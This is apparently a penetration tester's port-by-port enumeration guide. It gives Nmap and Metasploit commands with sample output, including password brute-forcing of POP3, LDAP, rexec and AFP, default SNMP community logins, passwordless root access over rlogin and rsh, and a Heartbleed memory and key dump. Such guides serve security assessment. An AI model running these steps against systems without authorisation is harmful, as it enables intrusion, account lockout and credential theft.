[pop3-brute.nse](#) : Tries to log into a POP3 account by guessing usernames and passwords.

```
nmap -sV --script=pop3-brute xxx.xxx.xxx.xxx
```

Tip

While playing one of Vulnhub machines, we figured out that bruteforcing POP3 service is faster than bruteforcing SSH services.

Other

POP3 Commands

Once, we are connected to the POP3 Server, we can execute the below commands. Think we got some user credentials, we can read the emails of that user using POP3

```
USER    Your user name for this mail server
PASS    Your password.
QUIT    End your session.
STAT    Number and total size of all messages
LIST    Message# and size of message
RETR message#  Retrieve selected message
DELE message#  Delete selected message
NOOP    No-op. Keeps you connection open.
RSET    Reset the mailbox. Undelete deleted messages.
```

RPCInfo - Port 111

Metasploit

NFS Mount Scanner

Check for the nfs mounts using port 111

```
use auxiliary/scanner/nfs/nfsmount
services -p 111 -u -R
```

Sample Output:

```
[*] Scanned 24 of 240 hosts (10% complete)
[+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0]
[*] Scanned 48 of 240 hosts (20% complete)
[+] 10.10.xx.xx NFS Export: /DataVolume/Public [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Download [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*]
[*] Scanned 72 of 240 hosts (30% complete)
[+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0]
[*] Scanned 96 of 240 hosts (40% complete)
[+] 10.10.xx.xx NFS Export: /common []
```

Other

rpcinfo

rpcinfo makes an RPC call to an RPC server and reports what it finds

```
rpcinfo -p IP_Address
```

Sample Output:

```
rpcinfo -p 10.7.xx.xx
program vers proto  port  service
100000    2    tcp    111  portmapper
100000    2    udp    111  portmapper
741824    1    tcp    669
741824    2    tcp    669
399929    2    tcp    631
```

The same can be achieved using showmount

```
showmount -a 172.30.xx.xx
All mount points on 172.30.xx.xx:
172.30.xx.xx:/SSSC-LOGS
172.30.xx.xx:/sssclogs
```

Multiple times we have seen msf nfsmount fail because of some error, so it sometimes better to just run a for loop with showmount

```
for i in $(cat /tmp/msf-db-rhosts-20160413-2660-62cf9a);
do
    showmount -a $i >> nfs_111;
done;
```

Ident - Port 113

Nmap

Auth-owners

[auth-owners.nse](#) : Attempts to find the owner of an open TCP port by querying an auth daemon which must also be open on the target system.

Other

Ident-user-enum

If the port ident 113 is open, it might be a good idea to try pentest monkey ident-user-enum Perl Script. The same result is also achieved by

Sample Output

```
perl ident-user-enum.pl 10.10.xx.xx 22 53 111 113 512 513 514 515
ident-user-enum v1.0 (http://pentestmonkey.net/tools/ident-user-enum)

10.10.xx.xx:22      [U2FsdGVkX19U+Fa0s8zFI+sBFw5PBF2/hxWdfelTXM=]
10.10.xx.xx:53      [U2FsdGVkX1+fVazmVwSBwobo05dskDNWG8mogAWzHS8=]
10.10.xx.xx:111     [U2FsdGVkX1+GPhL0rdMggQ0QmNzsxtKe+ro+YQ28nTg=]
10.10.xx.xx:113     [U2FsdGVkX1+5f5j9c2qnHFL5XKMcLV7YjUW8LYWN1ac=]
10.10.xx.xx:512     [U2FsdGVkX1+IWVqsWohbUhjr3PAgbkWTaImWI0DMUDY=]
10.10.xx.xx:513     [U2FsdGVkX19EEjrVAXj0lX0tTT/FoB3J9BUlfVqN3Qs=]
10.10.xx.xx:514     [U2FsdGVkX18/o1MMaGmcU4ul7kNowuhfBgipLQZ0R5c=]
10.10.xx.xx:515     [U2FsdGVkX1/8ef5wkL05TTMi+skSs65KRGIB9Z8WnE=]
```

The above are base64 encoded, when decoded results in Salted_Some_Garbage. If anyone know what it's appreciated.

NNTP Network News Transfer Protocol

Network News Transfer Protocol (NNTP), is used for the distribution, inquiry, retrieval, and posting of Netnews articles using a reliable stream-based mechanism. For news-reading clients, NNTP enables retrieval of news articles that are stored in a central database, giving subscribers the ability to select only those articles they wish to read.

Commands

CAPABILITIES

CAPABILITIES [keyword] allows a client to determine the capabilities of the server at any given time.

MODE READER

MODE READER :

```
Responses
200      Posting allowed
201      Posting prohibited
502      Reading service permanently unavailable
```

QUIT

QUIT : to disconnect the session

LISTGROUP

LISTGROUP [group [range]] : The LISTGROUP command selects a newsgroup in the same manner as the GROUP command (see Section 6.1.1) but also provides a list of article numbers in the newsgroup. If no group is specified, the currently selected newsgroup is used.

ARTICLE

ARTICLE message-id The ARTICLE command selects an article according to the arguments and presents the entire article (that is, the headers, an empty line, and the body, in that order) to the client

POST

POST

```
[C] POST
[S] 340 Input article; end with <CR-LF>.<CR-LF>
[C] From: "Demo User" <nobody@example.net>
[C] Newsgroups: misc.test
[C] Subject: I am just a test article
[C] Organization: An Example Net
[C]
[C] This is just a test article.
[C] .
[S] 240 Article received OK
```

NetBios

Nmap

broadcast-netbios-master-browser

[broadcast-netbios-master-browser.nse](#) : Attempts to discover master browsers and the domains they manage.

```
nmap --script=broadcast-netbios-master-browser

Starting Nmap 7.01 (https://nmap.org) at 2016-05-03 21:31 IST
Pre-scan script results:
| broadcast-netbios-master-browser:
| ip          server      domain
| 192.168.xx.xx FILESRV    WORKGROUP
\\_192.168.xx.xx XXXXCJ-NAS VOLUME
WARNING: No targets were specified, so 0 hosts scanned.
```

SNMP - Port 161

Metasploit

SNMP Community Scanner

Find the machines which are having default communities by using SNMP Community Scanner.

```
use auxiliary/scanner/snmp/snmp_login
services -p 161 -u -R
```

Sample Output:

```
[+] 10.4.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Wed 24-Oct-07 15:17 by prod_rel_team
[*] Scanned 12 of 58 hosts (20% complete)
[*] Scanned 18 of 58 hosts (31% complete)
[+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proc
[+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proc
[*] Scanned 24 of 58 hosts (41% complete)
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Pr
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proc
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Pr
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proc
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Pr
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proc
[*] Scanned 29 of 58 hosts (50% complete)
[*] Scanned 35 of 58 hosts (60% complete)
[*] Scanned 41 of 58 hosts (70% complete)
[*] Scanned 47 of 58 hosts (81% complete)
[+] 10.25.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proc
```

SNMP Enumeration Module

Enumerate the devices for which we have found the community strings

```
use auxiliary/scanner/snmp/snmp_enum
creds -p 161 -R
```

Sample Output:


```
[+] 10.11.xx.xx, Connected.
[*] System information:

Host IP           : 10.11.xx.xx
Hostname          : X150-24t
Description       : ExtremeXOS version 12.2.xx.xx v1222b11 by rele
Contact          : support@extremenetworks.com, +1 888 257 3000
Location         : -
Uptime snmp      : -
Uptime system    : 206 days, 00:20:58.04
System date      : -

[*] Network information:

IP forwarding enabled : no
Default TTL          : 64
TCP segments received : 6842
TCP segments sent    : 6837
TCP segments retrans : 0
Input datagrams      : 243052379
Delivered datagrams  : 192775346
Output datagrams     : 993667
```

Check Point FireWall-1 Topology - Port 264

Metasploit

CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure

Module sends a query to the port 264/TCP on CheckPoint Firewall-1 firewalls to obtain the firewall name and management station (such as SmartCenter) name via a pre-authentication request

```
use auxiliary/gather/checkpoint_hostname
set RHOST 10.10.xx.xx
```

Sample Output

```
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
[+] Appears to be a CheckPoint Firewall...
[+] Firewall Host: FIREFIGHTER-SEC
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
[*] Auxiliary module execution completed
```

LDAP - Port 389

Nmap

LDAP-rootdse

[ldap-rootdse.nse](#) : Retrieves the LDAP root DSA-specific Entry (DSE)

Sample Output:

```
nmap -p 389 --script ldap-rootdse <host>
nmap -p 389 --script ldap-rootdse 172.16.xx.xx

Starting Nmap 7.01 (https://nmap.org) at 2016-05-03 23:05 IST
Nmap scan report for 172.16.xx.xx
Host is up (0.015s latency).
PORT      STATE SERVICE
389/tcp    open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       currentTime: 20160503173447.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=xxxxpcx,DC=com
|       dsServiceName: CN=NTDS Settings,CN=SCN-DC01,CN=Servers,CN=Default-First
|       namingContexts: DC=xxxxpcx,DC=com
|       namingContexts: CN=Configuration,DC=xxxxpcx,DC=com
|       namingContexts: CN=Schema,CN=Configuration,DC=xxxxpcx,DC=com
|       namingContexts: DC=DomainDnsZones,DC=xxxxpcx,DC=com
|       namingContexts: DC=ForestDnsZones,DC=xxxxpcx,DC=com
|       defaultNamingContext: DC=xxxxpcx,DC=com
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=xxxxpcx,DC=com
|       configurationNamingContext: CN=Configuration,DC=xxxxpcx,DC=com
|       rootDomainNamingContext: DC=xxxxpcx,DC=com
|       supportedControl: 1.2.xx.xx.1.4.319
```

```
supportedControl: 1.2.xx.xx.1.4.801
supportedControl: 1.2.xx.xx.1.4.473
supportedControl: 1.2.xx.xx.1.4.528
supportedControl: 1.2.xx.xx.1.4.417
supportedControl: 1.2.xx.xx.1.4.619
supportedControl: 1.2.xx.xx.1.4.841
supportedControl: 1.2.xx.xx.1.4.529
supportedControl: 1.2.xx.xx.1.4.805
supportedControl: 1.2.xx.xx.1.4.521
supportedControl: 1.2.xx.xx.1.4.970
supportedControl: 1.2.xx.xx.1.4.1338
supportedControl: 1.2.xx.xx.1.4.474
supportedControl: 1.2.xx.xx.1.4.1339
supportedControl: 1.2.xx.xx.1.4.1340
supportedControl: 1.2.xx.xx.1.4.1413
supportedControl: 2.16.xx.xx.113730.3.4.9
supportedControl: 2.16.xx.xx.113730.3.4.10
supportedControl: 1.2.xx.xx.1.4.1504
supportedControl: 1.2.xx.xx.1.4.1852
supportedControl: 1.2.xx.xx.1.4.802
supportedControl: 1.2.xx.xx.1.4.1907
  supportedControl: 1.2.xx.xx.1.4.1948
supportedControl: 1.2.xx.xx.1.4.1974
supportedControl: 1.2.xx.xx.1.4.1341
supportedControl: 1.2.xx.xx.1.4.2026
supportedControl: 1.2.xx.xx.1.4.2064
supportedControl: 1.2.xx.xx.1.4.2065
supportedControl: 1.2.xx.xx.1.4.2066
supportedControl: 1.2.xx.xx.1.4.2090
supportedControl: 1.2.xx.xx.1.4.2205
supportedControl: 1.2.xx.xx.1.4.2204
supportedControl: 1.2.xx.xx.1.4.2206
supportedControl: 1.2.xx.xx.1.4.2211
supportedControl: 1.2.xx.xx.1.4.2239
supportedControl: 1.2.xx.xx.1.4.2255
supportedControl: 1.2.xx.xx.1.4.2256
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
```

```
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
highestCommittedUSN: 70892
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
dnsHostName: SCN-DC01.xxxpcx.com
ldapServiceName: xxxpcx.com:scn-dc01$@xxxpcx.COM
serverName: CN=SCN-DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites
supportedCapabilities: 1.2.xx.xx.1.4.800
supportedCapabilities: 1.2.xx.xx.1.4.1670
supportedCapabilities: 1.2.xx.xx.1.4.1791
supportedCapabilities: 1.2.xx.xx.1.4.1935
supportedCapabilities: 1.2.xx.xx.1.4.2080
supportedCapabilities: 1.2.xx.xx.1.4.2237
isSynchronized: TRUE
isGlobalCatalogReady: TRUE
domainFunctionality: 3
forestFunctionality: 3
domainControllerFunctionality: 6
```

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

Idap-search

[Idap-search.nse](#) : Attempts to perform an LDAP search and returns all matches.

If no username and password is supplied to the script the Nmap registry is consulted. If the Idap-brute script has been selected and it found a valid account, this account will be used. If not anonymous bind will be used as a last attempt.

Sample Output:

```
nmap -p 389 --script ldap-search --script-args 'ldap.username="cn=ldaptest,cn=ldap.qfilter=users,ldap.attrib=sAMAccountName' <host>

nmap -p 389 --script ldap-search --script-args 'ldap.username="cn=ldaptest,cn=ldap.qfilter=custom,ldap.searchattrib="operatingSystem",ldap.searchvalue="Winc
```

Idap-brute

[ldap-brute.nse](#) : Attempts to brute-force LDAP authentication. By default it uses the built-in username and password lists. In order to use your own lists use the userdb and passdb script arguments. This script does not make any attempt to prevent account lockout! If the number of passwords in the dictionary exceeds the amount of allowed tries, accounts will be locked out. This usually happens very quickly.

Other

Idapsearch

Anonymous LDAP Binding allows a client to connect and search the directory (bind and search) without logging in. You do not need to include binddn and bindpasswd.

If the port 389 supports Anonymous Bind, we may try searching for the base by using doing a ldap search query

```
ldapsearch -h 10.10.xx.xx -p 389 -x -s base -b '' "(objectClass=*)" "*" +
-h ldap server
-p port of ldap
-x simple authentication
-b search base
-s scope is defined as base
```

Sample Output

```
ldapsearch -h 10.10.xx.xx -p 389 -x -s base -b '' "(objectClass=*)" "*" +
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: * +
#
#
dn:
objectClass: top
objectClass: OpenLDAPRootDSE
structuralObjectClass: OpenLDAPRootDSE
configContext: cn=config
namingContexts: dc=example,dc=com
supportedControl: 1.3.xx.xx.4.1.4203.1.9.1.1
supportedControl: 2.16.xx.xx.113730.3.4.18
supportedControl: 2.16.xx.xx.113730.3.4.2
supportedControl: 1.3.xx.xx.4.1.4203.1.10.1
supportedControl: 1.2.xx.xx.1.4.319
supportedControl: 1.2.xx.xx.1.334810.2.3
supportedControl: 1.2.xx.xx.1.3344810.2.3
supportedControl: 1.3.xx.xx.1.13.2
supportedControl: 1.3.xx.xx.1.13.1
supportedControl: 1.3.xx.xx.1.12
supportedExtension: 1.3.xx.xx.4.1.4203.1.11.1
supportedExtension: 1.3.xx.xx.4.1.4203.1.11.3
supportedFeatures: 1.3.xx.xx.1.14
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.1
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.2
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.3
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.4
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.5
supportedLDAPVersion: 3
entryDN:
subschemaSubentry: cn=Subschema

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

Once you are aware of the base name in the above example "[example.com](#)" we can query for ldap users etc. by

```
ldapsearch -h 10.10.xx.xx -p 389 -x -b "dc=example,dc=com"
```

Sample Output

```
# johnsmith, EXAUSERS, People, example.com
dn: uid=johnsmith,ou=EXAUSERS,ou=People,dc=example,dc=com
displayName: John Smith
ntUserLastLogon: 130150432350834365
givenName: John
objectClass: top
objectClass: person
objectClass: organizationalperson
objectClass: inetOrgPerson
objectClass: ntUser
objectClass: shadowAccount
uid: johnsmith
cn: John Smith
ntUserCodePage: 0
ntUserDomainId: johnsmith
ntUserLastLogoff: 0
ntUniqueId: 75ac21092c755e42b2129a224eb328dd
ntUserDeleteAccount: true
ntUserAcctExpires: 9223372036854775807
sn: John
```

Todo

Things to add in LDAP – User authentication and Jxplorer

SMB - Port 445

Metasploit

SMB Version Detection

Provides the operating system version.

```
use auxiliary/scanner/smb/smb_version
services -p 445 -R
```

Sample Output:

```
[*] 10.87.xx.xx:445 is running Windows 7 Professional SP1 (build:7601) (name:3
[*] 10.87.xx.xx:445 is running Windows 7 Professional SP1 (build:7601) (name:3
```

rexec - Port 512

Metasploit

rexec Authentication Scanner

Find if there is any open shell.

```
auxiliary/scanner/rservices/rexec_login
services -p 512 -u -R
```

Sample output with the username root and empty password:

```
[*] 10.10.xx.xx:512 REXEC - [1/1] - Attempting rexec with username:password 'r
[-] Result: Where are you?
[*] 10.10.xx.xx:512 - Starting rexec sweep
[*] 10.10.xx.xx:512 REXEC - [1/1] - Attempting rexec with username:password 'r
[*] 10.10.xx.xx:512 - Starting rexec sweep
[*] 10.10.xx.xx:512 REXEC - [1/1] - Attempting rexec with username:password 'r
[+] 10.10.xx.xx:512, rexec 'root' : ''
```

Other

rlogin

The above can be accessed using

```
rlogin <ipaddress>
```

Nmap

rexec-brute

[rexec-brute.nse](#) : Performs brute force password auditing against the classic UNIX rexec (remote exec) service.

```
nmap -p 512 --script rexec-brute <ip>
```

rlogin - Port 513

Metasploit

rlogin Authentication Scanner

```
use auxiliary/scanner/rservices/rlogin_login  
services -p 513 -u -R
```

Sample Output:

```
[+] 10.10.xx.xx:513, rlogin 'root' from 'root' with no password.  
[+] 10.10.xx.xx:513, rlogin 'root' from 'root' with no password.
```

Note

In a recent engagement just doing the "rlogin IP" using the root shell provided me the root shell, where-as few IP address asked for password. Also, One IP for which rexec_login shows failed, was able to login using rlogin.

Maybe refer: Metasploitable 2 : DOC-1875 document.

RSH - port 514

Metasploit

rsh Authentication Scanner

```
use auxiliary/scanner/rservices/rsh_login  
services -p 514 -u -R
```

Sample Output

```
[+] 10.10.xx.xx:514, rsh 'root' from 'root' with no password.  
[*] 10.11.xx.xx:514 RSH - Attempting rsh with username 'root' from 'root'  
[+] 10.11.xx.xx:514, rsh 'root' from 'root' with no password.
```

Other

rsh

```
rsh 10.11.xx.xx whoami  
Integrated PrintNet Enterprise
```

AFP - Apple Filing Protocol - Port 548

AFP is a proprietary network protocol that offers file services for MAC OS X and original MAC OS.

Metasploit

Two auxiliary modules available.

Apple Filing Protocol Info Enumerator

```
use auxiliary/scanner/afp/afp_server_info
services -p 548 -u -S AFP -R
```

Sample output:

```
[*] AFP 10.11.xx.xx Scanning...
[*] AFP 10.11.xx.xx:548:548 AFP:
[*] AFP 10.11.xx.xx:548 Server Name: example-airport-time-capsule
[*] AFP 10.11.xx.xx:548 Server Flags:
[*] AFP 10.11.xx.xx:548 * Super Client: true
[*] AFP 10.11.xx.xx:548 * UUIDs: true
[*] AFP 10.11.xx.xx:548 * UTF8 Server Name: true
[*] AFP 10.11.xx.xx:548 * Open Directory: true
[*] AFP 10.11.xx.xx:548 * Reconnect: true
[*] AFP 10.11.xx.xx:548 * Server Notifications: true
[*] AFP 10.11.xx.xx:548 * TCP/IP: true
[*] AFP 10.11.xx.xx:548 * Server Signature: true
[*] AFP 10.11.xx.xx:548 * Server Messages: true
[*] AFP 10.11.xx.xx:548 * Password Saving Prohibited: false
[*] AFP 10.11.xx.xx:548 * Password Changing: true
[*] AFP 10.11.xx.xx:548 * Copy File: true
[*] AFP 10.11.xx.xx:548 Machine Type: TimeCapsule8,119
[*] AFP 10.11.xx.xx:548 AFP Versions: AFP3.3, AFP3.2, AFP3.1
[*] AFP 10.11.xx.xx:548 UAMs: DHCAST128, DHX2, SRP, Recon1
[*] AFP 10.11.xx.xx:548 Server Signature: 4338364c4e355635463948350069672d
[*] AFP 10.11.xx.xx:548 Server Network Address:
[*] AFP 10.11.xx.xx:548 * 10.11.4.76:548
[*] AFP 10.11.xx.xx:548 * [fe80:0009:0000:0000:9272:40ff:fe0b:99b7]:548
[*] AFP 10.11.xx.xx:548 * 10.11.4.76
[*] AFP 10.11.xx.xx:548 UTF8 Server Name: Example's AirPort Time Capsule
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Apple Filing Protocol Login Utility

Attempt to bruteforce authentication credentials for AFP.

Nmap

afp-serverinfo

[afp-serverinfo.nse](#) : Shows AFP server information.

afp-brute

[afp-brute.nse](#) : Performs password guessing against Apple Filing Protocol (AFP).

afp-ls

[afp-ls.nse](#) : Attempts to get useful information about files from AFP volumes. The output is intended to resemble the output of ls.

afp-showmount

[afp-showmount.nse](#) : Shows AFP shares and ACLs.

afp-path-vuln

[afp-path-vuln.nse](#) : Detects the Mac OS X AFP directory traversal vulnerability, CVE-2010-0533.

Microsoft Windows RPC Services | Port 135 and Microsoft RPC Services over HTTP | Port 593

Depending on the host configuration, the RPC endpoint mapper can be accessed through TCP and UDP port 135, via SMB with a null or authenticated session (TCP 139 and 445), and as a web service listening on TCP port 593.

Metasploit

Endpoint Mapper Service Discovery

Module can be used to obtain information from the Endpoint Mapper service

```
use auxiliary/scanner/dcerpc/endpoint_mapper
```

Hidden DCERPC Service Discovery

Module will query the endpoint mapper and make a list of all ncacn_tcp RPC services. It will then connect to each of these services and use the management API to list all other RPC services accessible on this port. Any RPC service found attached to a TCP port, but not listed in the endpoint mapper, will be displayed and analyzed to see whether anonymous access is permitted.

```
use auxiliary/scanner/dcerpc/hidden
```

Remote Management Interface Discovery

Module can be used to obtain information from the Remote Management Interface DCERPC service.

```
use auxiliary/scanner/dcerpc/management
```

DCERPC TCP Service Auditor

Determine what DCERPC services are accessible over a TCP port.

```
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
```

Other

We can use **rpcdump** from **Impacket** to dump the RPC information. This tool can communicate over Port 135, 139 and 445. The rpcdump tool from rpctools can also extract information from Port 593.

rpcdump

```
Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies  
usage: rpcdump.py [-h] [-debug] [-hashes LMHASH:NTHASH]  
               target [{445/SMB,135/TCP,139/SMB}]
```

Dumps the remote RPC endpoints information

Sample Output:

```
rpcdump.py 10.10.xx.xx
Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies

[*] Retrieving endpoint list from 10.10.xx.xx
[*] Trying protocol 135/TCP...
Protocol: N/A
Provider: iphlpsvc.dll
UUID      : 552D076A-CB29-4E44-8B6A-D15E59E2C0AF v1.0 IP Transition Configuratio
Bindings:
    ncacn_np:\\ADS[\PIPE\srvsvc]
    ncacn_ip_tcp:10.10.xx.xx[49154]
    ncacn_np:\\ADS[\PIPE\atsvc]
    ncalrpc:[senssvc]
    ncalrpc:[OLEEC91239AB64E4F319A44EB95228B]
    ncalrpc:[IUserProfile2]

Protocol: N/A
Provider: schedsvc.dll
UUID      : 0A74EF1C-41A4-4E06-83AE-DC74FB1CDD53 v1.0
Bindings:
    ncalrpc:[senssvc]
    ncalrpc:[OLEEC91239AB64E4F319A44EB95228B]
    ncalrpc:[IUserProfile2]

Protocol: N/A
Provider: nsisvc.dll
UUID      : 7EA70BCF-48AF-4F6A-8968-6A440754D5FA v1.0 NSI server endpoint
Bindings:
    ncalrpc:[LRPC-37912a0de47813b4b3]
    ncalrpc:[OLE6ECE1F6A513142EC99562256F849]

Protocol: [MS-CMP0]: MSDTC Connection Manager:
Provider: msdtcprx.dll
UUID      : 906B0CE0-C70B-1067-B317-00DD010662DA v1.0
Bindings:
    ncalrpc:[LRPC-316e773cde064c1ede]
    ncalrpc:[LRPC-316e773cde064c1ede]
    ncalrpc:[LRPC-316e773cde064c1ede]
    ncalrpc:[LRPC-316e773cde064c1ede]
```

```
Protocol: [MS-PAN]: Print System Asynchronous Notification Protocol
Provider: spoolsv.exe
UUID      : 0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1 v1.0 Spooler function endpoint
Bindings:
    ncalrpc:[spoolss]

Protocol: [MS-TSCH]: Task Scheduler Service Remoting Protocol
Provider: taskcomp.dll

Protocol: N/A
Provider: MPSSVC.dll
UUID      : 7F9D11BF-7FB9-436B-A812-B2D50C5D4C03 v1.0 Fw APIs
Bindings:
    ncalrpc:[LRPC-5409763072e46c4586]

[*] Received 189 endpoints.
```

HTTPS - Port 443 and 8443

Metasploit

Below modules which we found useful are

HTTP SSL Certificate Information

Parses the server SSL certificate to obtain the common name and signature algorithm.

```
use auxiliary/scanner/http/ssl
services -p 443 -u -R
```

Sample Output:

```
[*] 10.10.xx.xx:443 Subject: /OU=Domain Control Validated/CN=www.example.com
[*] 10.10.xx.xx:443 Issuer: /C=US/ST=Arizona/L=Scottsdale/O=GoDaddy.com, Inc./
[*] 10.10.xx.xx:443 Signature Alg: sha256WithRSAEncryption
[*] 10.10.xx.xx:443 Public Key Size: 2048 bits
[*] 10.10.xx.xx:443 Not Valid Before: 2016-01-12 10:01:38 UTC
```

```
[*] 10.10.xx.xx:443 Not Valid After: 2017-02-26 09:13:38 UTC  
[+] 10.10.xx.xx:443 Certificate contains no CA Issuers extension... possible s  
[*] 10.10.xx.xx:443 has common name www.example.com  
[*] Scanned 1 of 1 hosts (100% complete)  
[*] Auxiliary module execution completed
```

and

HTTP SSL/TLS Version Detection (POODLE scanner)

If a web server can successfully establish an SSLv3 session, it is likely to be vulnerable to the POODLE attack.

```
use auxiliary/scanner/http/ssl_version
```

Sample Output:

```
[+] 10.10.xx.xx:443 accepts SSLv3
```

OpenSSL Server-Side ChangeCipherSpec Injection Scanner

Checks for the OpenSSL ChangeCipherSpec (CCS) Injection vulnerability. The problem exists in the handling of early CCS messages during session negotiation. There's a NSE for the same `ssl-ccs-injection.nse`.

```
use auxiliary/scanner/ssl/openssl_ccs
```

OpenSSL Heartbeat (Heartbleed) Information Leak

Module checks for the OpenSSL Heartbleed attack. The module supports several actions, allowing for scanning, dumping of memory contents, and private key recovery. It has three Actions: SCAN, KEYS, DUMP which scans the host for the vulnerability, scan for the private keys and dump the memory of the host.


```
use auxiliary/scanner/ssl/openssl_heartbleed
```

SCAN Sample Output:

```
[+] 10.10.xx.xx:443 - Heartbeat response with leak
```

DUMP Sample Output:

```
[+] 10.10.xx.xx:443 - Heartbeat response with leak
[*] 10.10.xx.xx:443 - Heartbeat data stored in /root/.msf5/loot/20160403185025

hexdump -C /root/.msf5/loot/20160403185025_default_10.10.xx.xx_openssl.heartbl
00000000 02 ff ff 94 03 01 57 00 0f a8 cf 31 3f 02 84 0b |.....W....1?...|
00000010 59 9a d1 6b 3b 20 7b 7b 75 6b 17 2c 03 8d 8d 6a |Y..k; \{\{uk.,...|
00000020 77 de b2 3a e3 28 00 00 66 c0 14 c0 0a c0 22 c0 |w...(..f.....".|
00000030 21 00 39 00 38 00 88 00 87 00 87 c0 0f 00 35 00 |!.9.8.....5.|
00000040 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 |.....|
00000050 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 |.....3.2.|
00000060 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 |...E.D...../...|
00000070 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 |A.....|
00000080 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 |.....|
00000090 00 00 05 00 0f 00 01 01 06 03 02 03 04 02 02 02 |.....|
000000a0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 |.....|
000000b0 ff 02 01 00 00 85 00 00 00 12 00 10 00 00 0d 32 |.....1|
000000c0 32 33 2e 33 30 2e 32 33 35 2e 36 36 00 0b 00 04 |10.10.xx.xx....|
000000d0 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 |.....4.2.....|
000000e0 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 |.....|
000000f0 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 |.....|
00000100 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 |.....#.|
00000110 00 0d 00 22 00 20 06 01 06 02 06 03 05 01 05 02 |...".|
00000120 05 03 04 01 04 02 04 03 03 01 03 02 03 03 02 01 |.....|
00000130 02 02 02 03 01 01 00 0f 00 01 01 00 00 00 00 00 |.....|
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
```

Nmap

Nmap has around

ssl-cert

[ssl-cert.nse](#) : Retrieves a server's SSL certificate. The amount of information printed about the certificate depends on the verbosity level. With no extra verbosity, the script prints the validity period and the commonName, organizationName, stateOrProvinceName, and countryName of the subject.

Sample Output:

```
nmap -sV -sC -p 443 10.10.xx.xx -n -vv
Nmap scan report for 10.10.xx.xx
Host is up, received reset ttl 60 (0.011s latency).
Scanned at 2016-04-03 18:58:50 IST for 57s
PORT      STATE SERVICE REASON      VERSION
443/tcp open  ssl/http syn-ack ttl 53 Apache httpd
| ssl-cert: Subject: commonName=astarouflex.flexfilm.com/organizationName=Ufle
| Issuer: commonName=virstech WebAdmin CA/organizationName=virstech/countryNam
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2013-02-01T13:27:36
| Not valid after:  2038-01-01T00:00:01
| MD5:  c213 2536 95b4 0fbd 0784 5a68 f2c0 3979
| SHA-1: 5f8d 5cf5 6f5c 8b23 dc49 83ec 6251 b050 3fda 997e
| -----BEGIN CERTIFICATE-----
| MIIDOTCCAqKgAwIBAgIJANqxAruc7sYGMA0GCSqGSIb3DQEBBQUAMGsx CzAJBgNV
